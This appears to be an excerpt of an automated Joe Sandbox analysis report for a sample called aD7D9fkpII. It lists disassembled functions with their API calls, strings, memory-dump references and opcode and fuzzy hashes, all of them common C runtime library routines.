Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: fa0e246cb169483196fa0f5713ec2f1f6365a742636895b4786ab4b7a98d1172
Instruction ID: 8ce6851da5f46b912b9b0d17a702892be3f061406fb3ff8009fd08cf3da0668a
Opcode Fuzzy Hash: fa0e246cb169483196fa0f5713ec2f1f6365a742636895b4786ab4b7a98d1172
Instruction Fuzzy Hash: 0C518D7360020BAFEF20BFA4CC45FAA7AA9FF56744F254429F915DA190EB34DC008B61

Function 00893332 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008933B8

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction ID: 1cba27cd7edafde185ef47e0c652e250532108843659d7cd83fc787415ce6ff8
Opcode Fuzzy Hash: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction Fuzzy Hash: 5AB14572A00355AFDF12AF28C881BAE7BA5FF69710F1D4165E904EB382D2709A01C7A5

Function 00885440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00885477
___except_validate_context_record.LIBVCRUNTIME ref: 0088547F
_ValidateLocalCookies.LIBCMT ref: 00885508
__IsNonwritableInCurrentImage.LIBCMT ref: 00885533
_ValidateLocalCookies.LIBCMT ref: 00885588

Strings

csm, xrefs: 0088551D

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7611f776bdbbed4d061ac8a4944f7cf40d5d009c8e39b4cc87ddecd4be8394c4
Instruction ID: 8440f4ff0f84b9d195af8f4b5660a044d3c2014794e52633733adf6b4e72ede3
Opcode Fuzzy Hash: 7611f776bdbbed4d061ac8a4944f7cf40d5d009c8e39b4cc87ddecd4be8394c4
Instruction Fuzzy Hash: 7D41C274A006189FCF10EF6CC884A9EBBA1FF05328F148195E918DB752D731DA52CF96

Function 008913F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,A9416E27,?,00891508,008731F2,?,00000000,?), ref: 008914BA

Strings

ext-ms-, xrefs: 00891464
api-ms-, xrefs: 00891450

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 030678f209cc68276cbeef07dde3c2b358367292206653b86b77e62bff111ac0
Instruction ID: 35335aeb78567b456f506345d155861c14dd43b5e91fabc90814a4e303f23629
Opcode Fuzzy Hash: 030678f209cc68276cbeef07dde3c2b358367292206653b86b77e62bff111ac0
Instruction Fuzzy Hash: C6212B31A05212ABEF21AB65EC48A5A3769FB87774F2D0150E915E76D0EB30ED01C6D4

Function 008847BB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 008847C1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 008847CF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 008847E0

Strings

GetTempPath2W, xrefs: 008847D5
GetSystemTimePreciseAsFileTime, xrefs: 008847C9
kernel32.dll, xrefs: 008847BC

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 560ec38650c81334fd84b2255ed706e85aab3b6541cac9e575586fbb272b9b06
Instruction ID: 3cc47adef8d79b8b386a9d42c0fea44bfaec723ffd2237a2b5dcfc5d91552e81
Opcode Fuzzy Hash: 560ec38650c81334fd84b2255ed706e85aab3b6541cac9e575586fbb272b9b06
Instruction Fuzzy Hash: 13D09E71D55210AFB3145FB4BD4D8557AA4FB076213010465F911D2EA4EBB84801DA6E

Function 00898F96 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 157547051c7fd3fdbf9d982ed8f92f12bedaccacbf95429ef7f793875201c7d6
Instruction ID: 906ff7366ad40dfc05f4f5afff79190800f6fe04391df9d506aff6ddf0bef31d
Opcode Fuzzy Hash: 157547051c7fd3fdbf9d982ed8f92f12bedaccacbf95429ef7f793875201c7d6
Instruction Fuzzy Hash: CEB1EE70A04249ABEF15EFDCC881BAD7BB4FF5A314F18426CE995DB292C7309941CB61

Function 0088F2AC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0088F2A3,00884E61,008841CC), ref: 0088F2BA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0088F2C8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0088F2E1
SetLastError.KERNEL32(00000000,0088F2A3,00884E61,008841CC), ref: 0088F333

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8e9ad44cd36b5df411ddc0e9360032e1cf212b9573cf9d37d849956e2b7208c3
Instruction ID: 559fbc1974bf0f10ba3a4e57278cabd79a0c1e92a8a84e0df616f30746cd2d79
Opcode Fuzzy Hash: 8e9ad44cd36b5df411ddc0e9360032e1cf212b9573cf9d37d849956e2b7208c3
Instruction Fuzzy Hash: BF0171322093115EAA2836B8BC8596B2A95FB12775F24023DF610D5DF2EB554C019392

Function 0088FB24 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0088FC43
CallUnexpected.LIBVCRUNTIME ref: 0088FEBC

Strings

csm, xrefs: 0088FBCE
csm, xrefs: 0088FB61
csm, xrefs: 0088FC7A

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 16f1728ddcc8eaabb820243a9be909e251dec150e7a593264c15d811db62fd25
Instruction ID: 8e273917b4b602e81e6a17de2afb821d772a1fc9b46d08c25ee90e354cb98918
Opcode Fuzzy Hash: 16f1728ddcc8eaabb820243a9be909e251dec150e7a593264c15d811db62fd25
Instruction Fuzzy Hash: 6CB15A71900219DFCF14EFA8C8819AEBBB5FF14310F14416AEA11EB217D735EA61CB92

Function 0088A53C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A9416E27,?,?,00000000,008A0244,000000FF,?,0088A5FD,0088A4E4,?,0088A699,00000000), ref: 0088A571
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0088A583
FreeLibrary.KERNEL32(00000000,?,?,00000000,008A0244,000000FF,?,0088A5FD,0088A4E4,?,0088A699,00000000), ref: 0088A5A5

Strings

CorExitProcess, xrefs: 0088A57B
mscoree.dll, xrefs: 0088A56A

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ca63eb7b27fd81bb5e7b077452b5c5cacf07792027ac7987d6ac5fe7bea9f4e7
Instruction ID: 9027990c797eb427b1a3fc1988f9fbceef16400df1aa986bc128ca8852b94153
Opcode Fuzzy Hash: ca63eb7b27fd81bb5e7b077452b5c5cacf07792027ac7987d6ac5fe7bea9f4e7
Instruction Fuzzy Hash: DA01A731900615AFEB059F80DC09FAE7BB8FB05711F040525E811E2AD0DB789D40CF91

Function 00891BCD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00891C52
__alloca_probe_16.LIBCMT ref: 00891D1B
__freea.LIBCMT ref: 00891D82

Part of subcall function 008904C1: RtlAllocateHeap.NTDLL(00000000,?,?,?,0088119F,?,?,008731F2,00001000,?,0087313A), ref: 008904F3

__freea.LIBCMT ref: 00891D95
__freea.LIBCMT ref: 00891DA2

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 0df5ff953d63976bf2f19710af97d508f2ff86b07f98cc8e9d552fef4c041784
Instruction ID: c044d81329905e2700ec53e0ed89513cec9d28037551a25445b1a2e2bcd95702
Opcode Fuzzy Hash: 0df5ff953d63976bf2f19710af97d508f2ff86b07f98cc8e9d552fef4c041784
Instruction Fuzzy Hash: 14517C7260520BAFEF21BFA4CC89EBB3BAAFF44714B1D0529F909D6151EB30DC508661

Function 0088388E Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 008838A2
AcquireSRWLockExclusive.KERNEL32(?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 008838C1
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 008838EF
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 0088394A
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 00883961

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 22e7f08da66dfece0034154846b2a22fe98e2fa323c9f2cd8f4099ed3b5f6d8c
Instruction ID: 0ee8844655fde97f7a3e6828e973265889d9eeae3c6d53b86b05b3564236ae6c
Opcode Fuzzy Hash: 22e7f08da66dfece0034154846b2a22fe98e2fa323c9f2cd8f4099ed3b5f6d8c
Instruction Fuzzy Hash: 3F416E71500A0ADFCB20EF69C98496AFBF4FF0AB10B504A29E446D7940E7B0FB85CB51

Function 0088184C Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00881853
std::_Lockit::_Lockit.LIBCPMT ref: 0088185E
std::_Lockit::~_Lockit.LIBCPMT ref: 008818CC

Part of subcall function 00881755: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0088176D

std::locale::_Setgloballocale.LIBCPMT ref: 00881879
_Yarn.LIBCPMT ref: 0088188F

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: bab2ce4dd75c1cef30fd6d44f349f771f2132cfd3a9f0f6d918f4de2467f3ed1
Instruction ID: 0fe3792988f97a3a744ddf72ffec65251e4ffa6fb483573b0cdce7468b681ecc
Opcode Fuzzy Hash: bab2ce4dd75c1cef30fd6d44f349f771f2132cfd3a9f0f6d918f4de2467f3ed1
Instruction Fuzzy Hash: A401D475A002118BEB06FF64D84957C37B9FF86700B184419E81197791DF346E43CB82

Function 0089AC01 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0089AC9D,00000000,?,008AEFA0,?,?,?,0089ABD4,00000004,InitializeCriticalSectionEx,008A4F0C,008A4F14), ref: 0089AC0E
GetLastError.KERNEL32(?,0089AC9D,00000000,?,008AEFA0,?,?,?,0089ABD4,00000004,InitializeCriticalSectionEx,008A4F0C,008A4F14,00000000,?,0089016C), ref: 0089AC18
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0089AC40

Strings

api-ms-, xrefs: 0089AC25

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 99f755f14312d43ba74392fcab9a2e3ba1c01e87b902648fc05e962d35ee179a
Instruction ID: 6ebbda8993139a3f60981bd67f24ca9de2d7d035fa193eec939aff5d59e1139f
Opcode Fuzzy Hash: 99f755f14312d43ba74392fcab9a2e3ba1c01e87b902648fc05e962d35ee179a
Instruction Fuzzy Hash: 9AE04830684204BBFF182F50EC06F593E55FB11F45F184020F90CEC8E1E761D811CA8A

Function 00898366 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A9416E27,00000000,00000000,?), ref: 008983C9

Part of subcall function 008905D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00891D78,?,00000000,-00000008), ref: 00890632

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0089861B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00898661
GetLastError.KERNEL32 ref: 00898704

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5f69084cbc73110eb3ce24beae850518fd3105a3b7d25fd511ba235405b02944
Instruction ID: 6e7718004c8736e119242c0f39899457a9d5684a593822f0eb80b390867f1a93
Opcode Fuzzy Hash: 5f69084cbc73110eb3ce24beae850518fd3105a3b7d25fd511ba235405b02944
Instruction Fuzzy Hash: 34D178B5E00249EFDF15DFE8C8849ADBBB5FF4A314F28412AE516EB351DA30A941CB50

Function 0088F84B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0088F912
___AdjustPointer.LIBCMT ref: 0088F935
___AdjustPointer.LIBCMT ref: 0088F9D1

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 601c42ca085bdc05d7a9791fbbf74ed0f774deb52a0fbe3e8c797eaff0e7dc93
Instruction ID: 092c1d1af08c21ec24689d3d804586e7c163efe01d23fb186b11bffee4702225
Opcode Fuzzy Hash: 601c42ca085bdc05d7a9791fbbf74ed0f774deb52a0fbe3e8c797eaff0e7dc93
Instruction Fuzzy Hash: B251E272604206AFEB28AF18DD41B7EBBA4FF48714F144539EA05C7692E731EC80CB91

Function 00896192 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 008905D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00891D78,?,00000000,-00000008), ref: 00890632

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 008961F6
__dosmaperr.LIBCMT ref: 008961FD
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00896237
__dosmaperr.LIBCMT ref: 0089623E

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 6266cd46c425570dbef5f2b4cd5828e843ddf56fe98055727fca2ccabc820762
Instruction ID: f214d81f0bf845ee4db6b0dccb7e007e05cac1ade1aecb92d1e163e0c5f30eae
Opcode Fuzzy Hash: 6266cd46c425570dbef5f2b4cd5828e843ddf56fe98055727fca2ccabc820762
